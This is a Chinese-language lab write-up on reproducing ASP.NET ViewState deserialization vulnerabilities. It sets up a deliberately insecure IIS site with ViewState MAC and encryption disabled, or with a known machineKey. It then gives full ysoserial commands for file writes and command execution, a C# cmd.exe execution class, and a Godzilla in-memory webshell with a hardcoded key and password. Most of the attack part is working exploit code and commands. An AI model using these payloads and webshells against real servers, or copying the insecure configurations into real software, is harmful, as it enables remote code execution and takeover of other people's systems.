简单ViewState反序列化漏洞复现
漏洞环境搭建
文件编译
hello.aspx文件内容:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="hello.aspx.cs" Inherits="ViewStateTest.hello" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox ID="TextArea1" TextMode="MultiLine" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" CssClass="btn"/>
<br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
hello.aspx.cs文件内容:
using System;
using System.Web.UI;
namespace ViewStateTest
{
public partial class hello : Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text;
}
}
}
使用Visual Studio创建项目,项目模板选择ASP.NET Web应用程序(.NET Framework)
如果找不到,就到到工具中获取工具和功能选项
找到模板后,新建项目,填入项目名称,项目地址
项目新建完成后,右键项目添加新建项
新建项选择Web窗体,填入自己想要新建的aspx文件名称(这里我填入的是hello.aspx)
新建项完成后,把上面的hello.aspx和hello.aspx.cs文件内容复制到对应的文件当中。
hello.aspx.designer.cs这个文件不用怎么管。
这些都完成后,右键项目选择发布,发布到文件中
选择发布文件位置,自定义发布位置。
发布后获得的文件:
iis服务器搭建
这里选择Windows虚拟机作为IIS服务器,服务器安装相关功能。
安装功能完成后,打开管理工具
打开IIS管理器
打开IIS管理器后,右键网站然后添加网站
端口如果被占用,可以更换其他的端口。
然后把上面发布的文件,放入设置好的网站根目录当中。
然后访问设置好的IP和端口来访问服务
修改web.config
将web.config内容修改为一下内容
<?xml version="1.0" encoding="utf-8"?>
<!--
有关如何配置 ASP.NET 应用程序的详细信息,请访问
https://go.microsoft.com/fwlink/?LinkId=169433
-->
<configuration>
<system.web>
<customErrors mode="Off" /> <!-- 关闭自定义错误,显示详细错误信息 -->
<pages enableViewState="false" enableViewStateMac="false" viewStateEncryptionMode="Never" enableEventValidation="false" />
</system.web>
</configuration>
<!--ProjectGuid: F64DEF95-589F-443D-9A5C-F0E99716F652-->
漏洞复现
发送内容使用burp进行抓包
使用工具ysoserial生成恶意的ViewState
载荷,然后替换请求包中的ViewState
进行发包请求。
.\ysoserial.exe -o base64 -g TypeConfuseDelegate -f LosFormatter -c "echo testtesttest > C:\ProgramData\testtest.txt"
替换ViewState时记得对生成的恶意载荷进行URL编码
执行后虽然返回500,但是查看目标服务器中已经成功创建测试文件
注意
如果在进行请求时看到一下的情况,是ViewState的ViewStateMAC验证没有关闭。
具体关闭方法可以查看对应的.NET Framework版本来进行关闭,可以从报错中查看版本。
ViewState加密的反序列化
漏洞环境搭建
三个文件login.aspx、login.aspx.cs、web.config的内容如下
login.aspx:
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Login.aspx.cs" Inherits="WebApplication3.Login" %>
<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title></title>
</head>
<body>
<form id="form1" runat="server">
<asp:TextBox id="TextArea1" TextMode="multiline" Columns="50" Rows="5" runat="server" />
<asp:Button ID="Button1" runat="server" OnClick="Button1_Click" Text="GO" class="btn"/><br />
<asp:Label ID="Label1" runat="server"></asp:Label>
</form>
</body>
</html>
login.aspx.cs:
using System;
namespace WebApplication3
{
public partial class Login : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
}
protected override void OnInit(EventArgs e)
{
base.OnInit(e);
}
protected void Button1_Click(object sender, EventArgs e)
{
Label1.Text = TextArea1.Text.ToString();
}
}
}
跟上面未加密的一样发布导出后修改web.config的内容,web.config修改后:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
<system.web>
<pages enableEventValidation="false">
<!-- 其他配置项 -->
</pages>
<compilation debug="true" targetFramework="4.5.2" />
<httpRuntime targetFramework="4.5.2" />
<machineKey validationKey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
decryptionKey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" validation="SHA1" decryption="AES" />
</system.web>
<system.codedom>
<compilers>
<compiler language="c#;cs;csharp" extension=".cs" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.CSharpCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:6 /nowarn:1659;1699;1701" />
<compiler language="vb;vbs;visualbasic;vbscript" extension=".vb" type="Microsoft.CodeDom.Providers.DotNetCompilerPlatform.VBCodeProvider, Microsoft.CodeDom.Providers.DotNetCompilerPlatform, Version=2.0.1.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" warningLevel="4" compilerOptions="/langversion:14 /nowarn:41008 /define:_MYTYPE=\"Web\" /optionInfer+" />
</compilers>
</system.codedom>
</configuration>
你也可以直接修改第一个漏洞复现的web.config。来查看Viewstate是不是被加密了。具体如下:
可以看到Viewstate更复杂了,并且burp插件不能解码查看了:
漏洞利用
前提是已知web.config的内容,并进行如下利用。
写入文件
.\ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "echo 123 > c:\windows\temp\test.txt" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3"
可以看到文件已经写入到目标服务器上
命令执行
命令执行需要执行两步,第二步才可以进行命令执行。
第一步
微软曾因ActivitySurrogateSelector利用链的出现而加了一些patch,所以先打一次ActivitySurrogateDisableTypeCheck利用链来解决patch的问题
[参考地址] https://www.cnblogs.com/zpchcbd/p/15112047.html
.\ysoserial.exe -p ViewState -g ActivitySurrogateDisableTypeCheck -c "ignore" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --isdebug
第二步
需要在ysoserial.exe同文件夹下创建一个ExploitClass.cs,ExploitClass.cs内容:
class E
{
public E()
{
System.Web.HttpContext context = System.Web.HttpContext.Current;
context.Server.ClearError();
context.Response.Clear();
try
{
System.Diagnostics.Process process = new System.Diagnostics.Process();
process.StartInfo.FileName = "cmd.exe";
string cmd = context.Request.Form["cmd"];
process.StartInfo.Arguments = "/c " + cmd;
process.StartInfo.RedirectStandardOutput = true;
process.StartInfo.RedirectStandardError = true;
process.StartInfo.UseShellExecute = false;
process.Start();
string output = process.StandardOutput.ReadToEnd();
context.Response.Write(output);
} catch (System.Exception) {}
context.Response.Flush();
context.Response.End();
}
}
会与工具本来带的文件重名,可以修改或者备份原来的文件名
然后执行命令生成恶意载荷
.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --path="/login.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="EBA4DC83EB95564524FA63DB6D369C9FBAC5F867962EAC39" --validationalg="SHA1" --validationkey="B3C2624FF313478C1E5BB3B3ED7C21A121389C544F3E38F3AA46C51E91E6ED99E1BDD91A70CFB6FCA0AB53E99DD97609571AF6186DE2E4C0E9C09687B6F579B3" --isdebug
替换ViewState并在请求体中添加cmd参数:
注入内存马
这个在这个漏洞环境下应该也要执行两步,跟上述命令执行一样,只不过这里是命令执行后再进行内存马注入,所以这里省略了第一步。
需要在ysoserial.exe同文件夹下创建一个cs文件,Godzilla.cs内容:
class d
{
public d()
{
System.Web.HttpContext Context = System.Web.HttpContext.Current;
Context.Server.ClearError();
Context.Response.Clear();
try
{
string key = "3c6e0b8a9c15224a";
string pass = "pas";
string md5 = System.BitConverter.ToString(new System.Security.Cryptography.MD5CryptoServiceProvider().ComputeHash(System.Text.Encoding.Default.GetBytes(pass + key))).Replace("-", "");
byte[] data = System.Convert.FromBase64String(Context.Request[pass]);
data = new System.Security.Cryptography.RijndaelManaged().CreateDecryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(data, 0, data.Length);
if (Context.Session["payload"] == null)
{
Context.Session["payload"] = (System.Reflection.Assembly)typeof(System.Reflection.Assembly).GetMethod("Load", new System.Type[] { typeof(byte[]) }).Invoke(null, new object[] { data });
}
else
{
System.IO.MemoryStream outStream = new System.IO.MemoryStream();
object o = ((System.Reflection.Assembly)Context.Session["payload"]).CreateInstance("LY");
o.Equals(Context); o.Equals(outStream); o.Equals(data); o.ToString();
byte[] r = outStream.ToArray();
Context.Response.Write(md5.Substring(0, 16));
Context.Response.Write(System.Convert.ToBase64String(new System.Security.Cryptography.RijndaelManaged().CreateEncryptor(System.Text.Encoding.Default.GetBytes(key), System.Text.Encoding.Default.GetBytes(key)).TransformFinalBlock(r, 0, r.Length))); Context.Response.Write(md5.Substring(16));
}
}
catch (System.Exception) { }
Context.Response.Flush();
Context.Response.End();
}
}
然后跟上面的一样就是生成恶意ViewState的值,然后发送请求
连接webshell,这里的连接地址:http://192.168.102.131:8081/login.aspx
,密码是pas
密钥是key
然后配置请求配置,在左边追加数据中填入如下整个请求体然后在请求体的结尾加上&
符号
通过走burp进行连接测试并查看请求数据包
注:在配置请求配置时,在向左边追加数据,填入恶意请求体的最后加&符号是为了连接最后的webshell的请求验证
连接并执行命令:
参考连接
https://www.cnblogs.com/zpchcbd/p/15112047.html
https://mp.weixin.qq.com/s/GObZytk2VJKv9LbhjGGIXg
https://www.lmboke.com/archives/guan-yu-viewstatefan-xu-lie-hua-lou-dong-hou-shen-tou
https://blog.wanghw.cn/security/dotnet-viewstate-no-file-godzilla-memshell.html